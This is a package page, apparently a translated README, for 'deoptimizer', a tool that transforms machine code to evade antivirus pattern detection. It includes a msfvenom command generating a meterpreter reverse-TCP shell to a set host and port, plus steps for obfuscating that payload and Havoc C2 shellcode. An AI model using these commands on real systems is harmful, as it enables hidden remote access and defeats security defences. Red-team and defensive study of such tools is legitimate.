3 个版本
0.1.2 | 2024 年 7 月 22 日 |
---|---|
0.1.1 | 2024 年 7 月 3 日 |
0.1.0 | 2024 年 6 月 19 日 |
#48 在 编程语言
126 每月下载量
3MB
2.5K SLoC
去优化器
此工具是一个机器码去优化器。通过将机器码指令转换为它们的函数等价物,它使得绕过安全产品使用的基于模式的检测机制成为可能。
为什么?
绕过安全产品是许多进攻性安全活动的重要组成部分。目前各种不同规避工具(如打包程序、shellcode 编码器和混淆器)中使用的 AV 规避技术的大部分都依赖于在 RWE 内存区域上运行的自我修改代码。考虑到当前的安全产品状态,这种规避尝试很容易被内存分析工具(如 Moneta 和 Pe-sieve)检测到。本项目通过使用机器码去优化引入了一种新的代码混淆方法。它使用某些数学方法,如算术分区、逻辑逆、多项式变换和逻辑分区,来转换/修改目标二进制文件的指令,而不创建任何可识别的模式。该工具可以通过使用提到的去优化技巧将给定二进制文件的指令转换高达 ~95%。
观看演示以了解更多...
安装
下载预构建的发布二进制文件 这里。
从源代码
cargo install deoptimizer
Docker 安装
docker run -it egee/deoptimizer -h
用法
[!WARNING]
此项目仍在开发阶段!可用的转换设备、函数和命令行参数名称可能会调整,不保证向后兼容性。
Usage: Deoptimizer [OPTIONS]
Options:
-a, --arch <ARCH> Target architecture (x86/arm) [default: x86]
-f, --file <FILE> Target binary file name [default: ]
-o, --outfile <OUTFILE> Output file name [default: ]
-s, --source <SOURCE> Source assembly file [default: ]
--syntax <SYNTAX> Assembler formatter syntax (nasm/masm/intel/gas) [default: keystone]
-b, --bitness <BITNESS> Bitness of the binary file (16/32/64) [default: 64]
-A, --addr <ADDR> Start address in hexadecimal form [default: 0x0000000000000000]
--skip-offsets <SKIP_OFFSETS>... File offset range for skipping deoptimization (eg: 0-10 for skipping first ten bytes)
--no-trace Do not perform conntrol flow tracing on the given binary
-c, --cycle <CYCLE> Total number of deoptimization cycles [default: 1]
-F, --freq <FREQ> Deoptimization frequency [default: 0.5]
--transforms <TRANSFORMS> Allowed transform routines (ap/li/lp/om/rs) [default: ap,li,lp,om,rs]
--allow-invalid Allow processing of invalid instructions
-v, --verbose Verbose output mode
--debug Debug output mode
-h, --help Print help
-V, --version Print version
示例
- 生成并去优化 64 位 Metasploit 反向 TCP shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o shellcode
deoptimizer -b 64 -F 1 -f /tmp/shellcode
[!WARNING]
某些shellcode可能包含字符串和其他必须跳过的静态数据值!默认情况下,去优化器将执行简单的控制流跟踪以检测代码路径并自动跳过可能的数据偏移。自动跟踪对于较小的shellcode成功有效。(已用所有Metasploitwindows/*/meterpreter/*
shellcode进行测试)然而,由于这项任务的复杂性,跟踪可能会过多地跳过或对于某些大型/复杂的shellcode完全失败。
在这种情况下,建议使用--no-trace
参数禁用跟踪器。没有跟踪器,需要使用--skip-offsets
参数手动指定字符串偏移。
由Havoc Framework生成的shellcode是此类用例的好例子。Havoc Framework生成包含完整DLL文件和PE加载器的大型shellcode。以下示例显示了如何跳过Havoc shellcode的DLL部分。
deoptimizer -F 1 --no-trace --skip-offsets 0x46F-0x18BFF -f havoc_demon.x64.bin -o shellcode
# These offsets seems to be stable for all havoc shellcodes for now. But verification of the offsets is recommended.
当前支持的架构
- ✅
支持的
- 🚧
进行中
- ❌
不支持
架构 | 32 | 64 |
---|---|---|
x86 | ✅ | ✅ |
ARM | ❌ | 🚧 |
RISCV | ❌ | 🚧 |
待办
- 支持PE文件。
- 支持ELF文件。
- 支持Mach-O文件。
- 支持ARM架构。
- 支持RISC5架构。
依赖
~20–29MB
~484K SLoC